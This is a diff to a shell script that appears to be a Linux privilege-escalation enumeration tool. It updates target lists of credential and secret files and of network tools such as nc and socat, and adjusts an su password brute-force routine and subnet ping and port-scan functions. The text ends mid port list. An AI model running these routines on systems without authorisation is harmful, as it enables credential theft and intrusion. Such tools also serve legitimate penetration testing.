+profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|appmenu-qt5.sh|apps-bin-path.sh|bash_completion.sh|cedilla-portuguese.sh|colorgrep.csh|colorgrep.sh|colorls.csh|colorls.sh|colorxzgrep.csh|colorxzgrep.sh|colorzgrep.csh|colorzgrep.sh|csh.local|cursor.sh|gawk.csh|gawk.sh|im-config_wayland.sh|kali.sh|lang.csh|lang.sh|less.csh|less.sh|flatpak.sh|sh.local|vim.csh|vim.sh|vte.csh|vte-2.91.sh|which2.csh|which2.sh|xauthority.sh|Z97-byobu.sh|xdg_dirs_desktop_session.sh|Z99-cloudinit-warnings.sh|Z99-cloud-locale-test.sh" -knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|rogershimizu@gmail.com|thmarques@gmail.com" +knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|mmyangfl@gmail.com|rogershimizu@gmail.com|thmarques@gmail.com" -timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|plocate-updatedb.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-license-check.timer|ua-messaging.timer|ua-timer.timer|ureadahead-stop.timer" +timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|dpkg-db-backup.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|plocate-updatedb.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-license-check.timer|ua-messaging.timer|ua-timer.timer|ureadahead-stop.timer" commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$" commonrootdirsMacG="^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes" ldsoconfdG="/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib" -dbuslistG="^:1\.[0-9\.]+|com.hp.hplip|com.redhat.ifcfgrh1|com.redhat.NewPrinterNotification|com.redhat.PrinterDriversInstaller|com.redhat.RHSM1|com.redhat.RHSM1.Facts|com.redhat.tuned|com.ubuntu.LanguageSelector|com.ubuntu.SoftwareProperties|com.ubuntu.SystemService|com.ubuntu.USBCreator|com.ubuntu.WhoopsiePreferences|io.netplan.Netplan|io.snapcraft.SnapdLoginService|fi.epitest.hostap.WPASupplicant|fi.w1.wpa_supplicant1|NAME|org.blueman.Mechanism|org.bluez|org.debian.apt|org.fedoraproject.FirewallD1|org.fedoraproject.Setroubleshootd|org.fedoraproject.SetroubleshootFixit|org.fedoraproject.SetroubleshootPrivileged|org.freedesktop.Accounts|org.freedesktop.Avahi|org.freedesktop.bolt|org.freedesktop.ColorManager|org.freedesktop.DBus|org.freedesktop.DisplayManager|org.freedesktop.fwupd|org.freedesktop.GeoClue2|org.freedesktop.hostname1|org.freedesktop.import1|org.freedesktop.locale1|org.freedesktop.login1|org.freedesktop.machine1|org.freedesktop.ModemManager1|org.freedesktop.NetworkManager|org.freedesktop.network1|org.freedesktop.nm_dispatcher|org.freedesktop.PackageKit|org.freedesktop.PolicyKit1|org.freedesktop.portable1|org.freedesktop.realmd|org.freedesktop.RealtimeKit1|org.freedesktop.resolve1|org.freedesktop.systemd1|org.freedesktop.thermald|org.freedesktop.timedate1|org.freedesktop.timesync1|org.freedesktop.UDisks2|org.freedesktop.UPower|org.opensuse.CupsPkHelper.Mechanism" - -USEFUL_SOFTWARE="authbind aws base64 ctr curl doas docker fetch g++ gcc gdb kubectl lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 rkt ruby runc socat sudo wget xterm" +dbuslistG="^:1\.[0-9\.]+|com.hp.hplip|com.intel.tss2.Tabrmd|com.redhat.ifcfgrh1|com.redhat.NewPrinterNotification|com.redhat.PrinterDriversInstaller|com.redhat.RHSM1|com.redhat.RHSM1.Facts|com.redhat.tuned|com.ubuntu.LanguageSelector|com.ubuntu.SoftwareProperties|com.ubuntu.SystemService|com.ubuntu.USBCreator|com.ubuntu.WhoopsiePreferences|io.netplan.Netplan|io.snapcraft.SnapdLoginService|fi.epitest.hostap.WPASupplicant|fi.w1.wpa_supplicant1|NAME|net.hadess.SwitcherooControl|org.blueman.Mechanism|org.bluez|org.debian.apt|org.fedoraproject.FirewallD1|org.fedoraproject.Setroubleshootd|org.fedoraproject.SetroubleshootFixit|org.fedoraproject.SetroubleshootPrivileged|org.freedesktop.Accounts|org.freedesktop.Avahi|org.freedesktop.bolt|org.freedesktop.ColorManager|org.freedesktop.DBus|org.freedesktop.DisplayManager|org.freedesktop.fwupd|org.freedesktop.GeoClue2|org.freedesktop.hostname1|org.freedesktop.import1|org.freedesktop.locale1|org.freedesktop.login1|org.freedesktop.machine1|org.freedesktop.ModemManager1|org.freedesktop.NetworkManager|org.freedesktop.network1|org.freedesktop.nm_dispatcher|org.freedesktop.nm_priv_helper|org.freedesktop.PackageKit|org.freedesktop.PolicyKit1|org.freedesktop.portable1|org.freedesktop.realmd|org.freedesktop.RealtimeKit1|org.freedesktop.SystemToolsBackends|org.freedesktop.SystemToolsBackends.[a-zA-Z0-9_]+|org.freedesktop.resolve1|org.freedesktop.systemd1|org.freedesktop.thermald|org.freedesktop.timedate1|org.freedesktop.timesync1|org.freedesktop.UDisks2|org.freedesktop.UPower|org.gnome.DisplayManager|org.opensuse.CupsPkHelper.Mechanism" +USEFUL_SOFTWARE="authbind aws az base64 ctr curl doas docker fetch g++ gcc gcloud gdb kubectl lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 pwsh rkt ruby runc socat sudo wget xterm" TIP_DOCKER_ROOTLESS="In rootless mode privilege escalation to root will not be possible." GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSystem|KernelVersion|ServerVersion" GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig" GREP_IGNORE_MOUNTS="/ /|/null | proc proc |/dev/console" -INT_HIDDEN_FILES=".bashrc|.bluemix|.cer|.cloudflared|.crt|.csr|.db|.der|.env|.erlang.cookie|.ftpconfig|.git|.git-credentials|.gitconfig|.github|.gnupg|.google_authenticator|.gpg|.htpasswd|.irssi|.jks|.k5login|.kdbx|.key|.keyring|.keystore|.keytab|.kube|.ldaprc|.lesshst|.mozilla|.msmtprc|.ovpn|.p12|.password-store|.pem|.pfx|.pgp|.plan|.profile|.psk|.pypirc|.rdg|.recently-used.xbel|.rhosts|.secrets.mkey|.service|.socket|.sqlite|.sqlite3|.sudo_as_admin_successful|.svn|.swp|.timer|.vault-token|.viminfo|.vnc|.wgetrc" +INT_HIDDEN_FILES=".Xauthority|.bashrc|.bluemix|.boto|.cer|.cloudflared|.credentials.json|.crt|.csr|.db|.der|.docker|.env|.erlang.cookie|.flyrc|.ftpconfig|.git|.git-credentials|.gitconfig|.github|.gnupg|.google_authenticator|.gpg|.htpasswd|.irssi|.jks|.k5login|.kdbx|.key|.keyring|.keystore|.keytab|.kube|.ldaprc|.lesshst|.mozilla|.msmtprc|.ovpn|.p12|.password-store|.pem|.pfx|.pgp|.plan|.profile|.psk|.pub|.pypirc|.rdg|.recently-used.xbel|.rhosts|.roadtools_auth|.secrets.mkey|.service|.socket|.sqlite|.sqlite3|.sudo_as_admin_successful|.svn|.swp|.tf|.tfstate|.timer|.vault-token|.vhd|.vhdx|.viminfo|.vmdk|.vnc|.wgetrc" ########################################### @@ -666,7 +672,7 @@ print_title(){ printf "╚" for i in $(seq 1 $title_len); do printf "═"; done; printf "═"; printf "╝" - + printf $NC echo "" } @@ -683,19 +689,20 @@ print_2title(){ START_T2_TIME=$(date +%s 2>/dev/null) fi - printf ${BLUE}"╔══════════╣ $GREEN$1\n"$NC #There are 10 "═" + printf ${BLUE}"╔══════════╣ $GREEN$1\n"$NC # There are 10 "═" } print_3title(){ - printf ${BLUE}"══╣ $GREEN$1\n"$NC #There are 2 "═" + printf ${BLUE}"══╣ $GREEN$1\n"$NC # There are 2 "═" } print_3title_no_nl(){ - printf ${BLUE}"\r══╣ $GREEN${1}..."$NC #There are 2 "═" + printf "\033[2K\r" + printf ${BLUE}"══╣ $GREEN${1}..."$NC # There are 2 "═" } print_list(){ - printf ${BLUE}"═╣ $GREEN$1"$NC #There is 1 "═" + printf ${BLUE}"═╣ $GREEN$1"$NC # There is 1 "═" } print_info(){ @@ -704,7 +711,7 @@ print_info(){ print_ps (){ (ls -d /proc/*/ 2>/dev/null | while read f; do - CMDLINE=$(cat $f/cmdline 2>/dev/null | grep -av "seds,"); #Delete my own sed processess + CMDLINE=$(cat $f/cmdline 2>/dev/null | grep -av "seds,"); # Delete my own sed processess if [ "$CMDLINE" ]; then var USER2=ls -ld $f | awk '{print $3}'; PID=$(echo $f | cut -d "/" -f3); printf " %-13s %-8s %s\n" "$USER2" "$PID" "$CMDLINE"; @@ -724,22 +731,23 @@ su_try_pwd (){ su_brute_user_num (){ BFUSER=$1 TRIES=$2 - su_try_pwd "$BFUSER" "" & #Try without password - su_try_pwd "$BFUSER" "$BFUSER" & #Try username as password - su_try_pwd "$BFUSER" "$(echo $BFUSER | rev 2>/dev/null)" & #Try reverse username as password + su_try_pwd "$BFUSER" "" & # Try without password + su_try_pwd "$BFUSER" "$BFUSER" & # Try username as password + su_try_pwd "$BFUSER" "$(echo $BFUSER | rev 2>/dev/null)" & # Try reverse username as password if [ "$PASSWORD" ]; then - su_try_pwd "$BFUSER" "$PASSWORD" & #Try given password + su_try_pwd "$BFUSER" "$PASSWORD" & # Try given password fi for i in $(seq "$TRIES"); do - su_try_pwd "$BFUSER" "$(echo $top2000pwds | cut -d ' ' -f $i)" & #Try TOP TRIES of passwords (by default 2000) + su_try_pwd "$BFUSER" "$(echo $top2000pwds | cut -d ' ' -f $i)" & # Try TOP TRIES of passwords (by default 2000) sleep 0.007 # To not overload the system done wait } check_if_su_brute(){ + EXISTS_SU="$(command -v su 2>/dev/null)" error=$(echo "" | timeout 1 su $(whoami) -c whoami 2>&1); - if ! echo $error | grep -q "must be run from a terminal"; then + if [ "$EXISTS_SU" ] && ! echo $error | grep -q "must be run from a terminal"; then echo "1" fi } @@ -786,8 +794,8 @@ check_tcp_443(){ check_icmp(){ (timeout -s KILL 20 /bin/bash -c '(ping -c 1 1.1.1.1 | grep "1 received" && echo "Ping is available" || echo "Ping is not available") 2>/dev/null | grep "available"') 2>/dev/null || echo "Ping is not available" } -#DNS function from: https://unix.stackexchange.com/questions/600194/create-dns-query-with-netcat-or-dev-udp -#I cannot use this function because timeout doesn't find it, so it's copy/pasted below +# DNS function from: https://unix.stackexchange.com/questions/600194/create-dns-query-with-netcat-or-dev-udp +# I cannot use this function because timeout doesn't find it, so it's copy/pasted below check_dns(){ (timeout 20 /bin/bash -c '(( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS available" || echo "DNS not available") 2>/dev/null | grep "available"' ) 2>/dev/null || echo "DNS not available" } @@ -804,7 +812,7 @@ basic_net_info(){ } select_nc (){ - #Select the correct configuration of the netcat found + # Select the correct configuration of the netcat found NC_SCAN="$FOUND_NC -v -n -z -w 1" $($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1) if [ $? -eq 2 ] @@ -814,7 +822,7 @@ select_nc (){ } icmp_recon (){ - #Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses) + # Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses) IP3=$(echo $1 | cut -d "." -f 1,2,3) (timeout 1 ping -b -c 1 "$IP3.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & @@ -827,7 +835,7 @@ icmp_recon (){ } tcp_recon (){ - #Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones + # Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones IP3=$(echo $1 | cut -d "." -f 1,2,3) PORTS=$2 printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " @@ -847,7 +855,7 @@ tcp_recon (){ } tcp_port_scan (){ - #Scan open ports of a host. Default: nmap top 1000, but the user can select others + # Scan open ports of a host. Default: nmap top 1000, but the user can select others basic_net_info print_title "Network Port Scanning" @@ -857,7 +865,7 @@ tcp_port_scan (){ if [ -z "$PORTS" ]; then printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: DEFAULT (nmap top 1000)" $NC | tr '\n' " " printf "$NC\n" - PORTS="1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389" + PORTS="1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 